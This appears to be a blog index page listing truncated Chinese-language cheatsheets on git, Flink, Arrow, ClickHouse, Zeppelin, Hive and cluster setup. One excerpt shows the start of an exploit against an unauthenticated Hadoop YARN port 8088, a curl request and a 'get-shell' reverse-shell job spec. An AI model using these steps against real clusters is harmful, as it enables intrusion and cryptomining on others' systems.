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March 19, 2024
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Cluster-setupBIOS config for Disk SystemDisk Raid 1 DataDisk JBOD OSon demand, ubuntu\fedora\centos\suse\redhat update root passwordsudo passwd root sudo免密1234su chmod u+w /etc/sudoersvi /etc/sudoers # username ALL=(ALL:ALL) NOPASSWD: ALLchmod u-w /e...
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「 CHEATSHEET 」
March 19, 2024
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853
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检出checkout git checkout 分支名/标签， 该命令会变成detach 只读状态 git checkout -b|-B <new_branch> [<start point>] 基于远程分支名/标签/commit创建新分支 分支管理branch 列出分支 仅本地 git branch 所有 git branch -a 模糊匹配 git branch -a –list <pattern> 删除分支 git bran...
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「 CHEATSHEET 」
March 19, 2024
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14 mins.
flinkFlink applications code -> JobGraph -> JobManager -> TaskManagers 环境 ExecutionEnvironment StreamExecutionEnvironment TableEnvironment 并行度env.setParallelism(3) 数据源 env.fromSequence(from, to) env.fromElements(elements: _*) // 添加...
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「 CHEATSHEET 」
March 19, 2024
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16k
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15 mins.
8088挖矿漏洞发起获取appIDcurl -X POST http://10.33.21.190:8088/ws/v1/cluster/apps/new-application 新建任务信息文件1.json反弹shell{‘application-id’: ‘application_1639358619460_0019’,‘application-name’: ‘get-shell’,‘am-container-spec’: {‘commands’: {‘command’: ‘/bi...
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「 CHEATSHEET 」
March 19, 2024
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22 mins.
相关概念包括ValueVector、Field、Schema、VectorSchemaRoot以及Table 1234567891011<dependency> <groupId>org.apache.arrow</groupId> <artifactId>arrow-memory-netty</artifactId> <version>${arrow.version}</version>&l...
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「 CHEATSHEET 」
March 19, 2024
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24 mins.
启动默认绑定端口9000 与hdfs冲突，修改tcp_port默认配置文件/etc/clickhouse-server/config.xml自定义配置文件目录 /etc/clickhouse-server/config.d/ clickhouse startclickhouse stopclickhouse-client docker12docker pull clickhouse/clickhouse-server:22.8.14.53docker run -di --name=clickho...
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「 CHEATSHEET 」
March 30, 2022
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9 mins.
https://zeppelin.apache.org/download.html cp conf/zeppelin-site.xml.template conf/zeppelin-site.xmlvi conf/zeppelin-site.xml修改zeppelin-site.xml指定绑定的ip和port bin/zeppelin-daemon.sh start bin/zeppelin-daemon.sh stop 支持的组件 12345a...
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「 CHEATSHEET 」
January 25, 2022
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16 mins.
提取数据为csv1insert overwrite directory '/tmp/blog' row format delimited fields terminated by ',' STORED AS TEXTFILE select * from tbl where concat(year,month,day) = '20210721' and phoneNumber='xx' and platform=&#x...
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「 CHEATSHEET 」
January 20, 2022
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17 mins.
https://tensorflow.google.cn/resources/learn-ml/theoretical-and-advanced-machine-learning?hl=zh-cn https://tensorflow.google.cn/tutorials/keras/classification?hl=zh-cn http://c.biancheng.net/view/1881.html https://mirrors.tuna.tsinghua.edu.cn/help/an...
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